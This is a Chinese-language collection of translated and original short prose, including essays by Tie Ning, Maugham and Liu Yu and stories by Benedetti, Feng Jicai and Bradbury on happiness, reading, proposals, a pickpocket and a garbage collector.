　　这次，和往常一样，我又是最后一个。每个孩子都兴高采烈，因为他们的“耳语测验”做得挺好。我心想老师会说什么呢？以前，老师们一般总是说：“天是蓝色的。”或者“你有没有一双新鞋？”等等。终于轮到我了，我把左耳对着伦纳德老师，同时用右手紧紧捂住了右耳。然后，悄悄把右手抬起一点，这样就足以听清老师的话了。我等待着……然后，伦纳德老师说了八个字，这八个字仿佛是一束温暖的阳光直射我的心田，这八个字抚慰了我受伤的、幼小的心灵，这八个字改变了我对人生的看法。这位很胖、很美、温馨可爱的老师轻轻说道：

　　"我希望你是我女儿！”

幸福就在此刻

铁凝

　　去探望一位生病的友人，聊起很多从前的事情，计划很多未来的事情，她忽然发问：对于你来说，幸福的时刻是什么？

　　想了半天，竟然没有一个很适合的答案。

　　那阵子，经常携带这个难题去和人打交道，不管是新朋还是故友，聊到酣畅总是抛出这个问题冷场，当然，收获的答案也是五花八门——有人说，幸福的时刻就是加官晋爵时买房购车后身体无恙中；有人说最幸福的时刻就是父母双全爱人平安孩子快乐领导待见粉丝忠诚仇人遭谴……

　　都对，但都不打动我。

　　直到有一天陪朋友去见一位来自台湾的朋友，朋友说：他的人和他的文章一样禅意幽深。

　　茶过三道，我忍不住继续兜售这个问题时，他微笑着给我一个意想不到的答案：

　　过去的事情来不及衡量是否幸福，将来的事情没必要揣测是不是幸福，所以，在你问我这个问题的时候，我能想到的幸福，就是用心享受面前的好茶，让此刻愉快的感觉更醇厚，而面前与我谈新叙旧的你们更是我的幸福之源。

　　我终于领会到了何谓醍醐灌顶。

　　生活中似乎有太多可以论证他这番话的例子。

　　曾经去国外参加文化交流，花了很多钱买过一件非常漂亮的衣服，因为太喜欢，所以舍不得穿，除非参加什么重要的会议，或者出席需要表示自己诚意的场合时才上身。使用率太低，慢慢地也就忘记了自己有这样一件衣服。换季的时候，家人帮我整理衣柜时，才想起自己原来有过这样一件衣服，因为躲过了水洗日晒的蹉跎，它依旧崭新笔挺，但是款式却已经过时，讪讪地也是自责地把它小心包好继续收进柜底，回味起当初对它的喜欢，忍不住感叹那些快乐都成了落花流水。

　　很年轻很年轻的时候，也曾经喜欢什么人，一点一滴，一颦一笑都让我有无尽的话想要表达想要歌颂。但总是怯于启齿，小心翼翼把那些心事静静地窝在心里，折叠得整整齐齐，幻想着总有一天，会勇敢地站在他的面前扑啦啦地全部抖开。等啊等啊，最终这些情愫就像一粒种在晒不到太阳缺乏雨露的泥土里的种子，只能腐烂在密不透风的土壤里。

　　我们都太喜欢等，固执地相信等待是永远没有错的，美好的岁月就这样被一个又一个遗憾消耗掉了。

　　没有在最喜欢的时候穿上美丽的衣服，没有在最纯粹的时候把这种纯粹表达出来，没有在最看重的时候去做想做的事情，以为将来会收获丰硕，结果全都变成小而涩的果。

　　品尝这种酸涩时，我们唯一能做的就是自责：如果当初能多穿几次那件衣服，如果当初我有足够的勇气对他说……那会是多么幸福。

　　生命中的任何事物都有保鲜期，那些美好的愿望如果只能珍重地供奉在理想的桌台上，那么只能让它在岁月里积满灰尘。

　　当我们在此刻感觉到含在口中的酸楚，也就应该在此刻珍重，身上衣、眼前人的幸福。

为乐趣而读书

毛姆

　　首先，我要坚持的就是：阅读应该是一种享受。

　　既不能帮你获得学位，也不能助你谋生糊口；不能教会你驾船，也不能告诉你如何发动一辆故障的汽车。但它们将使你的生活更丰富更充实圆满而感快乐，如果你们真能享受这些书的话。

　　许多在文学史上占有重要地位的著作，如今除了给专门研究的学者之外，并不需要每个人都去读。生活在繁忙的现代，很少人有时间博览群书，除非与他们直接有关的书籍。不论学者们对一本书的评价如何，纵然他们众口一致地加以称赞，如果它不能真正引起你的兴趣，对你而言，仍然毫无作用。别忘了批评家也会犯错误，批评史上许多大错往往出自著名批评家之手。

　　你正在阅读的书，对于你的意义，只有你自己才是最好的裁判。

　　每个人的看法都不会与别人完全相同，最多只有某种程度的相似而已。如果认为这些对我具有重大意义的书，也该丝毫不差地对你具有同样的意义，那真毫无道理。虽然，阅读这些书使我更觉富足，没有读过这些书，我一定不会成为今天的我，但我们请求你：如果你读了之后，觉得它们不合胃口，那么，请就此搁下，除非你真正能享受它们，否则毫无用处。

　　没有人必须尽义务地去读诗、小说或其他可归入纯文学之类的各种文学作品。他只能为乐趣而读，试问谁能要求那使某人快乐的事物一定也要使别人觉得快乐呢？

　　读书的乐趣快乐并不需要下流或肉欲。往昔的智者们都认为只有知识的快乐最令人满足而且最能持久。养成阅读的习惯实在受用无穷，很少运动能让你在过了盛年之后仍能从其中获得满足；除了独人牌戏、打棋谱、填字谜外，很少有游戏能不需同伴而独个人玩，阅读就没有诸如此类的不便，几乎没有一种工作能像阅读这样——只除了针线活儿，但缝纫编织只用手指，无法约束不安定的精神——随时随地可以开始，一旦有要紧事不得不做时，又能立刻放下。

　　养成阅读的习惯等于为你自己筑起一个避难所，几乎可以避开生命中所有的灾难。

　　我说“几乎”，因为我不能强辩说阅读可以缓和饥饿的痛苦与失恋的悲哀。但是五、六本精彩的侦探故事，再加上一个热水袋，却能使任何人不在乎最严重的感冒，如果我们被迫去读那些令人觉得厌倦的书，又怎能养成为阅读而阅读的习惯呢？

　　读书的方法最好，你还是随自己的兴趣来读。

　　我也不劝你一定要读完一本再换另一本。就我自己而言，我发觉同时读五、六本书反而更合理。因为，我们无法每一天都保有不变的心情，而且，即使在一天之内也不见得会对一本书具有同样的热情。……至于我，当然选取最适合我自己的计划。清晨，在开始工作之前，我总要读一会书，书的内容不是科学就是哲学，因为这类书需要清新而且注意力集中的头脑，这样我的一天开始了。

　　当一天的工作完毕，心情轻松，又不想再从事激烈的心智活动时，我就读历史、散文、评论与传记；晚间我看小说。此外，我手边总有一本诗集，预备在有读诗的心情时读之，在床头，我放一本可以随时取看，也能在任何段落停止，心情一点不受影响的书，可惜的是，这种书实在不多。

　　欣赏趣味的转变，使得许多伟大杰作的某些部分也变得沉闷起来。今天，我们毋需要再为 18 世纪最为人喜好的道德论说伤脑筋，也不必再为 19 世纪流行的冗长的风景描写费神。懂得如何跳读，也就等于懂得如何阅读才能既有益又愉快。但我可没法告诉诸位学习跳读的方法，因为这种技术，我自己从来没学会。

　　我是一个很差劲的跳读者，我怕会漏掉一些可能对我有用的部分，因此不得不读进许多只能让我感觉疲倦的部分，而且每次当我一开始跳读，就无法停止，一直到全书终了为止，自己心中非常不满，因为我觉得自己这样作是不公平的。禁不住会想：我似乎像根本没读过这本书一样。

　　文学上的自以为是，无论出以何种形式，都是最可憎的。

　　某一类愚人，他们看不起同伴，只是因为他们对某本书的评价意见不一致，这真是不可原谅。此外，在文学鉴赏方面的自炫也非常可厌，即使所有最好的批评家都对某本书给予极高的评价，而你独不以为然，你也不要觉得不好意思。不过对於你自己从未读过的书，最好不要加以恶评。

　　请别以为快乐就是不道德的，所有的快乐本身都是很好的，知识它们造成的後果，常使敏感多虑的人想要逃避。快乐并不需要下流或者肉欲。往昔的智者们都认为只有知性的快乐才最令人满足而且最能持久“天才”常常被使用得漫不经心的字眼，但我自己绝对不会以这个字眼去称呼那些有三、四本成功的剧本，或两、三本成功的小说的作家。在我心目中，天才是一种非常稀贵的品质，假如我以这个字眼去称呼我现在将要提及的作家中的任何一人，我想我的良知是不会平安的。说他们具有才份已经足够了。他们之中，有些拥有很大的才份；有的则较少。但，他们大多数都有难以克服的困难，必须努力去克服。不论他们自己是否意识及此，爲了要创造一个国家的文学，他们必须从自身所受外国影响的重重障碍中，筚路蓝缕地开出新路来。

　　诗歌是文学的春花与冠冕，它无法变成平凡无奇。

　　很多诗人一生中写过许多诗集，可是往往只留下两、三首真正的好诗，我认为这已足够评价他们，只是我不愿意读那麽多，收获却如此至少。

阿内西阿美女皇后

马里奥 · 贝内德蒂

　　姑娘睁开了眼睛，顿时惶恐不安。她什么什么都记不起来了：自己的名字、年龄，以及身体特征。她只看到自己身上穿着一条咖啡色的裙子和一件奶黄色的上衣。她没有带手提包。手表的指针指着四点一刻。她感到舌头酥酥的，太阳穴跳个不停。她看了看自己的手，发现指甲上涂着一层透明的釉质。

　　她坐在绿树成荫的广场中的一个长凳上，在广场的中央矗立着一个古老的喷泉，装点着几个小天使和三个平行的水泥盘子。在她眼里，这一切显得异常恐怖。从她坐的长凳那头可以看到几块大招牌：诺加罗商店、俱乐部影院、波乐莱依家具店、马查乐商店、民族主义党。她看到在她左脚边上有一块呈三角形的镜片，便把它拾了起来。当在镜子里看到自己这张脸时，她意识到她之所以这样做，纯粹是病态的好奇心所驱使。她好像是有生以来第一次看到这张脸，它没有给她带来任何回忆。她试图估摸着自己的年龄。 “我难道有十六岁或者十七岁了？”她想道。奇怪得很，她居然还能记起事物的称谓（她知道这是长板凳，那是柱子，那是喷泉，远处那个是广告牌），但是她怎么也无法确定自己所处的空间和时间。她再一次大声地说着：是啊！我应该有十六岁或十七岁了。但她这样做无非是要证明这是一句正确的西班牙语句子。她又问自己，你还会说其他什么语言？但她什么也记不起来了。尽管如此，她却得到了一种宽慰的、宁静的甚至天真浪漫的感觉。当然她也感到很吃惊，但这一惊讶并没有给她带来任何不悦。她模模糊糊地感到这一来倒比发生其他别的事情要好得多，但愿那些卑劣、可怕的东西永远置于脑后，把它们忘得一干二净。她的头上树叶的绿色呈现出两种色调，而天空几乎一点也看不到。

　　一群鸽子向她走来，很快又失望地离去。实际上，她没有什么东西可以喂它们。人们从她坐着的长凳子旁漫不经心地走过，谁也没有注意到她的存在。只有几个小伙子关注地看了看她，她准备和他们说一会儿话，甚至于深深谈一阵子，但是那些反复无常的观赏者最终克服了他们的犹豫，又继续走他们自己的路。就在那个时候一个人从人群中走来。这是一个五十岁开外的男子，衣冠楚楚，头发梳得锃亮，领带上别着一个夹子，手里拿着一个黑色的公文包。凭直觉她意识到他会走过来同她说话。她想：“难道他认出我来了吗？”她真害怕这个男子重新又勾起她对往事的回忆。她沉醉于这种惬意的忘却之中。但是这个男子只是走过来问她：“怎么啦，小姐？”她看了他好一会儿。这个男子的脸给了她一种信任感，事实上，所有的一切都能给她信任感。“刚才，在广场上，我一睁开眼就什么也记不住了，过去的一切一切我都忘得一干二净。”她认为没有必要再作更多的解释。当她看到这个男子冲她笑的时候，她意识到自己也笑了。他向她伸出手并自我介绍道：“我叫罗尔丹，费利克斯·罗尔丹。”“我记不住自己叫什么名字。”她回答，并握了握他的手。“没有关系，你不能老呆在这里，跟我走，好吗？”当然，她是愿意的。她站了起来，看了看又一次向她围拢过来的鸽子，心里想：“我够走运的！”那个叫罗尔丹的男子轻轻地挽着她的胳膊肘，并向她提议他们应该去的地方。“这个地方离这儿很近，”他说道。对这位小姐来说近一点远一点根本无所谓，此时她感到自己是一名观光客。这里的一切对她来说并不陌生，然而，具体细节她一点也记不起来了。她本能地用自己瘦弱的胳膊去挎那个男子粗壮的胳膊。他穿的衣服很柔软，好像是用一种精梳布制成的，肯定贵得要命。她仰着脖子往上看去（这个男子个儿很高），并对他笑了笑。他也冲着她笑了笑，这一次他微微露出了牙齿。她看清楚了他镶有一颗金牙，她并没有问他这座城市叫什么，倒是他主动地告诉她，他们现在在蒙得维的亚。他的话犹如沉石下井，没有得到丝毫反应。现在他们走在一条狭窄的马路上，两旁路砖七高八低，正在施工的工地到处可见。汽车贴着路边奔驰而过，溅起不少泥水。她伸手擦了擦溅在腿上的泥点，这时候她看到自己没有穿袜子，突然她记起了袜子这个单词。她抬起头看见了一些空荡荡的旧阳台，那里晒着几件衣服并站着一个穿着睡衣的男了。她突然喜欢上了这个城市。

　　“我们到了。”那个叫罗乐丹的男子站在一座在门前说道。她第一个进了门。在自动电梯里，那个男子按了按指示五层的键。他一言不发，只是死死地盯着她看，她却用充满信任的眼光回报了他。当他取出钥匙打开房门时，她发现他右手上带着一个结婚戒指，还带着一个嵌有红宝石的戒指，她记不清红宝石这个词怎么说了。房间里没有别人。房门一打开，从房间里面发出一股类似牢房的臭味，那个罗尔丹的男子打开了窗户，让她坐在其中一把大椅子上，然后拿来了酒杯、冰块和威士忌酒。她记起了酒杯和冰块这两个单词，但怎么也想不起威士忌酒怎么叫法。喝了第一口酒，她咳嗽了，但感到很舒服。她用目光把屋里的家具、墙壁和壁画打量了一番，她认为尽管从整体上看布置得不够协调，但布局还甚为生动活泼，因此她没有提出异议。她又一次看了看他，心里很坦然，很有安全感。“但愿从此以后再也记不起过去的往事。”她想。这时候，这个男子一阵狂笑，着实把她吓了一跳。“喂，小妖精，现在在这个屋里就只有我们两个人，你得老实告诉我，你到底是谁？”她重新咳嗽了起来，并把眼睛睁得圆圆的。“我不是已经跟您说了吗？我记不清自己的名字了。”她发现这个男子突然来一个一百八十度的大转弯，变得越来越粗俗，越发缺乏绅士风度，就好像从他领带夹子下面或从他穿的精梳布制成的衣服下面散发出一股俗不可耐的味道，流露出一种完全没有预料到的厌恶感。“你是阿内西阿美女皇后，对吗？”而这是什么意思呢？她一点也不懂。她开始感到害怕，既害怕目前所处的荒诞的处境，也害怕深不可测的事。“嗨，阿内西阿美女皇后，”男子又一阵哈哈大笑。 “你知道吗？你很有魅力？我发誓我第一次交如此桃花运，你太诱人了！”那个罗尔丹的男子的手开始向她伸来。难道这是连着刚才在广场上她主动搀扶过的强壮胳膊的那只手吗？严格说来这是另一只手。这是一只手烘烘的、多情的、极其有力的手。她吓得不知所措，陷于完全无能为力的境地。他的手已摸到她的衣服领口，还企图往里面伸进去。但是四粒扣子挡住了他的邪念。这时他的手用力向下一拽，三粒扣子一下子被拽掉了，其中一粒扣子一直滚到墙角撞个粉碎。就在发生这一声响的同时，两个人都呆住了。姑娘利用这一突如其来的短暂的时刻，一下子坐了起来，手里还握着杯子。那个叫罗尔丹的男子又一次向她扑来。她意识到那家伙想把她推倒在一张绿色的大沙发上。他嘴里不停地喊到：“小妖精，我的小妖精。”此时她感到那个家伙喘着粗气先是啃她的脖子，然后啃她的耳朵，最后咬她的嘴唇。她意识到那双强有力的，令人作呕的手企图解开她的衣服。她预感自己快要窒息而死，再也动弹不得。这时她看到了她手里还紧握着盛有威士忌酒的杯子。她再一次以超人的力气半坐了起来，用手里的杯子砸罗尔丹的脸部。他往后踉跄了几步，终于跌倒在绿面子的沙发旁。姑娘害怕极了，她从男子身上跳过，最后扔掉了杯子（杯子掉在地毯上，却没有破碎）。她从门口冲去，开了门，走过走廊，胆战心惊地下了五层楼。当然她是从楼梯走下楼的。在街上，她靠着仅剩的一粒扣子把衣服整了整，然后一溜烟跑了。怀着恐惧、焦虑、悲伤的心情，她一直思考着：“我应该把这一切都忘掉，我应该把这一切都忘掉。”她认出了广场，认出了原先在这儿坐过的长凳子。长凳子还空着，她就坐了上去。其中一个鸽子在打量着她，她却没有心思去搭理它。她心中只有一个永远也摆脱不了的念头：“我应该把自己彻底地忘掉。上帝啊！帮我忘掉这个耻辱吧！”她把头往后一仰，似乎感到自己快要昏厥过去。

　　姑娘睁开了眼睛，顿时惶恐不安。她什么都记不起来了：自己的名字、年龄，以及身体特征。她只看到自己身上穿着一条咖啡色的裙子和一件奶黄色的上衣，但上衣缺了三粒扣子。她没有带手提包。手表的指针指着七点二十五分。她坐在绿树成荫的广场中的一个长凳上，在广场的中央矗立着一个古老的喷泉，装点着几个小天使和三个平行的水泥盘子。在她眼里，这一切显得异常恐怖。从她坐的长凳那头可以看到几块大招牌：诺加罗商店、俱乐部影院、波乐莱依家具店、马查乐商店、民族主义党。她什么也记不起来了。尽管如此，她却得到了一种宽慰的、宁静的甚至天真浪漫的感觉。她模模糊糊地感到这一来倒比发生其他别的事情要好得多，但愿那些卑劣、可怕的东西永远置于脑后，把它们忘得一干二净。领着孩子、带着公文包、拿着雨伞的人群从她坐的长凳旁走过。这时候，有一个人从川流不息的人群中走来。这是一个五十岁开外的男子，衣冠楚楚，头发梳得锃亮，领带上别着一个夹子，手里拿着一个公文包，在一只眼睛上贴着一块白纱布。“难道这个人认得我？”她想。她真害怕这个人又重新勾起她的回忆。她沉醉于这种惬意的忘却之中。但是这个男人只是走过来问她：“怎么啦，小姐？”她看了他好一会儿。这个男人的脸给了她一种信任感，事实上所有的一切都能给她信任感。她看到他向她伸出了手，并听到他自我介绍道：“我叫罗尔丹，费利克斯·罗尔丹，”在这以后，名字已经显得不重要了。这时，她站立了起来，本能地用自己瘦弱的胳膊去挎那男子粗壮的胳膊。

求婚

刘瑜

　　中国人好像不怎么求婚。两个人看顺眼了，然后在某天晚上，一家吃三鲜面的铺子里，男的抬起油乎乎的嘴，说：要不去领个证吧。

　　然后一口把面唆了进去。

　　然后就是一番分不清谁是谁也无所谓谁是谁的觥羹交错。

　　然后就有了挂着鼻涕到处晃的小不点们。

　　外国人不这样。外国人为了求婚这个事处心积虑。“Propose”这个瞬间的重要性，相当于我们国家政治生活中的“神六上天”。万众瞩目当中，神六冉冉地上天，观众掌声雷动，宇航员热泪盈眶。各家媒体，不，在求婚这个事情中，是三亲六戚，奔走相告。党中央，我是说，双方父母，欢欣鼓舞。

　　在洋鬼子的求婚仪式当中，最重要的道具，当然就是钻戒了。这个钻戒，要求是真的钻石戒指，最好是 tiffany 牌的。据说它的价格，得是这个男人月工资的三倍。其实几个月的工资事小，重要的得让那个男人心疼。基本的原理大约是，让这个男人花钱花得心疼了，他才能意识到这件事情的严重性。要是一个钻戒象一盒巧克力那么便宜，难保他不见个人就求个婚、哪天嘴馋了顺便求个婚什么的。那首歌怎么唱的来着？“你问我爱你有多深，钻戒代表我的心……”

　　光有钻戒还是不够的，还得浪漫。吃三鲜面时候，从左边的裤兜里掏出一个钻戒，说：“老板，胡椒在哪儿？！……对了，小玉，嫁给我吧，这块金刚石，你拿着，三个月的工资呢！”这可不行。别听那流行歌曲瞎唱，什么“我能想到最浪漫的事，就是和你一起慢慢变老……”，纯粹瞎扯淡。结婚过五年，看彼此都跟看家具没区别了，还浪漫呢。所以最重要的，是把握花好月圆时的那一分诗意。趁着男人还没有完全变成混帐的时候，把该浪漫的都给浪漫了，以后就是两个人为了苹果该不该削皮吃而打的头破血流时，还可以“回首”当年他递给你钻戒时眼里的柔情。记忆这个东西，新三年，旧三年，缝缝补补又三年。靠这点回忆，再往记忆里添点油加点醋，没准能多撑个 20 年呢。

　　为了满足广大女孩的浪漫需求，男人为了求婚的时机和场合绞尽脑汁。我的朋友里有一对，在金门大桥上，男的给女的单膝跪下求婚。这样的“公开场合求婚法”，好处当然是举世瞩目，盛况空前。就我的那对朋友来说，据说当时桥底下人们一看见有人单膝跪下，就知道发生什么了，立刻都停下来起哄鼓掌。坏处，当然就是这样的求婚，看上去有点象绑架。善良的女生们，多半不忍心当着众人的面，让男人下不了台。于是出于息事宁人的态度，说好吧好吧，你起来再说吧。结果这一再说，等了几十年，就没下文了。这一点，讲 Johnny Cash 的电影 Walk the Line 里面，有生动的演示，更别说我那位在金门大桥上的朋友了。不答应？不答应把你从桥上扔下去。这已经是赤裸裸的绑架了。

　　更多的人，在求婚场合问题上，选择温馨地“私了”。比如，吃甜点吃着吃着，突然吃出了一颗钻戒。又比如两人爬山爬到山顶，极目四望，江山如此多娇，引无数男人掏腰包，于是男人突然掏出一颗钻戒，深情的说“小玉，嫁给我吧……”。这种“温馨私了”的求婚方式，好处当然是给女生压力较小，她可以选择拒绝，也可以选择拿起钻戒就飞速逃离现场，反正不一定非要说“yes”了。坏处就是不够耸人听闻，效果不够震撼，有可能若干年后，自己都想不起来自己怎么就走火入魔、嫁给孩子他爸的。

　　要说我自己。我虽然已年过 30，还从来没有一个男人拿着一枚钻戒说“嫁给我吧”。我等啊等啊等啊等，等得三鲜面铺子都关门了。不过总的来说，也没有什么遗憾的。我从小对求婚场景的幻想里面，从来就没有钻戒这种东西。就一个帅哥，和我。我们都才华横溢桀骜不逊武功盖世，所以我们彼此爱之入骨，又由于我们都刚愎自用顽固不化惟我独尊，所以我们又对彼此恨之入骨。由于这种爱之入骨又恨之入骨的悖论，我们今天爱得脑肝涂地，明天又恨得鸡飞蛋打。终于，在一个风雨交加的夜晚，在一场翻天覆地的大争吵当中，他，突然，一把抱住我，说，嫁给我吧。

　　我对这个幻想是如此钟情，以至于都忘了在其中插入一个他掏出一颗三克拉大戒指的情节，可见女人一激动，就变得愚蠢。后来，我想，愚蠢也好，聪明也好，反正不过是幻想。如今我 30 了，不再充满幻想。什么金门大桥，什么温馨山顶，什么风雨交加，甚至什么三个月工资的钻戒，所需要发生的全部，不过是一个男人，我，和一家三鲜面馆子。他抬起油乎乎的嘴，说：要不去领个证吧。

　　然后一口把面唆了进去。

　　然后就是一番分不清谁是谁也无所谓谁是谁的觥羹交错。

　　然后就有了挂着鼻涕到处晃的，我的，我们的，小不点们。

天堂之门

马克

　　一个人死后，升进了天堂。在天堂门口，他遇见了圣彼得。圣彼得对他解释道：“今天，这里实在太忙了，所以，我只能接受那些死得特别窝囊的人。”

　　“好吧。”这个人便讲述道，“今天，我在上班，一个同事向我吐露出一个秘密：我妻子正在家里和情人幽会。我气急败坏地跑回家，发现妻子躺在床上，但是，她的情人却不见了踪影。于是，我朝阳台外面望去，看到一个男人吊在阳台外面，两手抓住阳台的栏杆。我朝他猛击了几下，可他还是死死不松手。我走进厨房，找来了一个榔头，照着他的手狠狠地砸了下去，他终于松手了，从二十五层楼上落下，却掉到了一棵灌木丛中。他只是晕了过去，还并没有死。因此，我又跑进了厨房，搬起了冰箱，朝阳台下扔去，将他砸了下去，那家伙立即坠地毙命了。不幸的是，恰在那是，我的心脏病发作了，很快便永别了人世。”

　　“哎呀！”圣彼得感叹道，“这确实是非常不幸的一天。你可以进去了，下一位！”

　　圣彼得又拿着排的满满的日程表向来人解释。

　　那个男人说道：“我本来在二十六层楼自己家的阳台上给花草浇水，一不小心失足滑了下去。所幸的是，我抓住了楼下阳台的栏杆，悬在阳台下面。倒霉的是，一个男人朝我的手上猛击了几下。这还不算，他后来竟然还拿来一个榔头砸我的手，我实在受不了，便失手从二十五层楼上落了下来。不过，一棵灌木救了我。我认为自己这下可以大难不死了，没想到不知从哪里又飞来一只冰箱，将我砸得粉身碎骨。”

　　“哇，确实死的窝囊。”圣彼得说道：“你可以进来了，下一位！”

　　下一个人说道：“也许你很难想象出来。我那时是一丝不挂，情急之下，我便躲进了一个冰箱里……”

小达子

冯骥才

　　其貌儿不扬，短脖短腿，灰眼灰皮，软绵绵赛块烤山芋；站着赛个影子，走路赛一道烟儿，人说这种人天生是当贼的材料。没错！小达子眼刁手疾，就是你把票子贴在肚皮上，转眼也会到他手里，还保管叫你不知不觉，连肚皮贴票子的感觉也没变。可他最看家的本事，是在电车上。你在车上要是遇到他，千万别往他身上靠，否则你身上有什么，就一准没什么。

　　举个例子说，比方那种穿西服的小子，要是上了电车，保他没跑！因为那种小子好时髦，钱包都掖在西服裤子的屁股后边口袋里，口袋没盖，上边露着钱包窄窄一道边儿。可要想伸手把钱包抻出来，也是妄想。口袋小，钱包鼓，紧绷绷，屁股上的神经不比脸皮的神经差，一动就察觉，小达子却自有招儿。逢到此时，他往车门边的柱了一倚，等车一停，那小子下车的一刹那，他手比电光还快，刷地过去，用食指和中指的指尖夹住钱包的边儿。下车时人的重心和注意力都向下，于是口袋的钱包不用去抻，它自个儿就舒舒服服不知不觉出来了。

　　话说到这儿，别以为这电车上的天下就是小达子的。

　　一天，小达子在车上，打白帽衙门那站上来一位中年男子，黑礼服呢的褂子外边亮晶晶晃荡着一条纯金的怀表链，还挺粗。小达子呆着没动，等车快到梨栈时，他靠上去。这儿的车轨有一截Ｓ型。车到这里，必得一晃，他借势往那人身上一靠，表就到他手里，跟手揣入怀中。动作快得连眼珠子也跟不上。等车到梨栈，下车人多，他便挤在人群中，快快下车离开了现场。

　　他一边走，一边美滋滋琢磨着今天的收获。忽然间发现走在前边的一个人，很像刚才车上那个中年男子。他正犹疑的当口，那人转过身来，果真就是那人；奇怪的是，那人胸口地方亮闪闪，依然晃着那条又粗又亮的表链！难道他还有一块表？小达子不自觉用手一摸自己怀中，吓了一跳，竟然空空如也。他半辈子偷别人，头一遭尝到挨偷后的感觉。更栽跟斗似的，他怎么也琢磨不出这家伙用什么法儿从他身上把表取回去。这人见他发傻的样子，龇牙一笑，笑里分明带着几分轻贱他的意味，好似说：“你笨手笨脚也想干这个！”然后收起笑来，转身而去。

　　打这天，小达子不再上电车。

　　选自《俗世奇人》

垃圾工

雷 · 布拉德伯里

　　他每天的工作是这样的：清晨五点，天还没亮就不顾寒冷起床，然后用温水洗把脸，如果热水器坏了就只能用冷水。他一边仔仔细细地刮脸，一边大声和在厨房准备早饭的妻子说话。早餐可能是火腿、鸡蛋、煎饼或是别的什么。六点，他独自开着车去上班，跟大家一样把车停在大院里。此时太阳才刚刚升起，绚烂的天空上赤橙黄绿青蓝紫七色交替，抑或是如拍岸的浪花般雪白清透。有些早晨他能看见自己呼出的气结成白雾。不过无论气温如何，太阳还未完全升起时，他就会用拳头敲敲那辆绿色卡车的侧门，司机笑着跟他打招呼，让他爬进另一边的副驾驶座。他们两人一同驶入城里，穿过大街小巷，最后回到原点。有时候，他们会中途停下来买杯清咖啡暖暖身子，然后继续上路。他的任务就是跳下车，挨家挨户把门口的垃圾桶拉过来，掀开盖子，将桶举起，在车斗边缘用力一磕，橘子皮、瓜果皮、咖啡渣……里面的垃圾滚落出来，逐渐填满整辆卡车。骨头、鱼头、韭葱段、烂芹菜，这些是垃圾中的“常客”。如果是比较新鲜的还好，若是放了很久味道就太销魂了。他说不清自己究竟喜不喜欢这工作，但它毕竟也是份工作，他干得也不错，有时讲起来能滔滔不绝，有时又根本想都不会去想。碰上凉爽的天气，早早出门呼吸新鲜空气也是挺棒的。当然，连续工作了几小时后，烈日当头，垃圾逐渐散发出臭气，之前的美好也就破灭了。但无论如何，这工作起码能让他既不闲着也不太忙，还能经过家家户户的宅院，看到每个人的生活。每个月总有那么一两天，他会发现自己竟然还挺喜欢干这行的，世上简直不会再有更好的工作了。

　　日子就这么年复一年地过去。突然某一天，一切都变了。回想起来，他都纳闷：短短几个小时，为何会发生如此天翻地覆的变化？

　　他走进家门，没看到妻子的人影也没听到动静，不过她的确在家。他朝椅子走去，任由妻子远远地看着自己。他一个字都没说，只是手扶椅子坐下，就这样呆坐了许久。

　　“出什么事了？”妻子的声音终于飘进了他的脑海，估计她起码问过三四遍了。

　　“啊？”他抬眼看了看面前的女人，确实是自己的妻子，他认得她。面前这屋子天花板很高，地上还铺着旧地毯，是自己家没错。

　　“今天上班时出了点事情。”他说道。

　　她静静地等着他继续说。

　　“我的垃圾车，今天出了点事。”他舔舔发干的嘴唇，紧闭双眼，仿佛夜半醒来，身处伸手不见五指的房间。“我想辞职，希望你能理解我。”

　　“辞职？！”她惊叫起来。

　　“这也是没办法。这是我这辈子碰上的最邪乎的事情了。”他睁开眼，依旧坐着，拇指和食指相互搓了搓，手很冷。“这事实在太奇怪了。”

　　“什么事情，你倒是快说啊！”

　　他从皮夹克口袋里掏出半张报纸来。“这是今天的日报。1951 年 12 月 10 日的《洛杉矶时报》。民防公告上说要给我们的垃圾车配无线电。”

　　“哎呀，来点音乐有什么不好的？”

　　“不是音乐，你没懂，不是音乐。”

　　他张开粗糙的大手，用一只干净的指甲慢慢地比画着，想在手心里把一切都写下来，好让两个人都能看清。“通知里说市长下令给城里每辆垃圾车都安上发射和接收天线。”他眯起眼看着自己的手。“等我们的城市被原子弹袭击了，那些无线电就会被用来联络我们。到时候垃圾车就要被派去收尸体。”

　　“嗯，这是很实用的，如果——”

　　“垃圾车，”他重复道，“出去收尸体。”

　　“那总不能让尸体就这么都横在街头吧？得把尸体拉回来然后——”妻子慢慢合上了嘴，缓缓地眨了眨眼睛，就一下而已。他注视着她眨眼。而后，她转过了身，动作僵硬得仿佛是有人在推着她转似的。她走向一把椅子，停住，好像在思考要怎么办，随后直挺挺地坐了下去，再没说一个字。

　　他听着自己的腕表嗒嗒的走着，脑子里却在想别的事。

　　终于她大笑起来：“他们一定是在开玩笑！”

　　他摇了摇头，只觉得自己的脑袋从左挪到右，又从右挪到左，一切都像是慢动作回放。“不是玩笑。他们今天就在我的卡车上装了接收器，说如果工作中收到警报，就赶紧把车上的垃圾随便倒了。只要上面呼叫，我们就必须即刻赶赴现场，把死尸运走。”

　　厨房里的水烧开了，咕嘟咕嘟地沸腾。五秒钟后她才撑着椅子扶手站起来，摸索到门口，走了进去。沸水翻滚的声音停了下来，她回到门边，走到他面前。他依旧坐着，脑袋动都没动过一下。

　　“这已经是板上钉钉的事了。他们分了小队，排了中士、上尉、下士，诸如此类。”他说，“连应该把尸体运到哪儿都告诉我们了。”

　　“所以你纠结整整一天了。”她说。

　　“今天一早就开始了。我觉得现在我不想当垃圾工了。以前我和汤姆把这当做游戏，并乐在其中。这也是不得已，收垃圾是件苦差事，臭气熏天的。但努努力还是可以苦中作乐的，我和汤姆就是这样。通过辨别人家丢的垃圾，我们能对其底细略知一二。富人家扔的都是牛排的骨头，穷人家则是生菜和橘子皮。我知道这挺蠢的，但总得尽力找点乐子吧，不然干这工作干吗？而且开着自己的卡车，挺有自己做主的感觉。虽然每天要早早出门，而且是在室外工作，但看着旭日初升，整座城市逐渐热闹起来，感觉还是挺不错的。但是现在，就在今天，这些美好瞬间都灰飞烟灭了，再也回不去了。”

　　妻子开始喋喋不休。她叽叽喳喳地说这说那，只是没说多久就被他温柔地打断了：“我知道，我知道，孩子们要吃饭、要上学，我们还有车要养，我都知道。账单要付，钱要还，这些都是问题。不过爸爸不是还给我们留了块地吗？我们何不搬过去，逃离城市生活。我懂点儿农活儿，我们一起把收成储藏起来，万一出了什么事，还能撑几个月。”

　　她一语不发。

　　“当然了，我们的朋友都在城里。”他善解人意地说，“城里可以看电影，看演出，孩子们也有朋友，而且……”

　　她深吸了一口气。“我们能不能考虑几天再决定？”

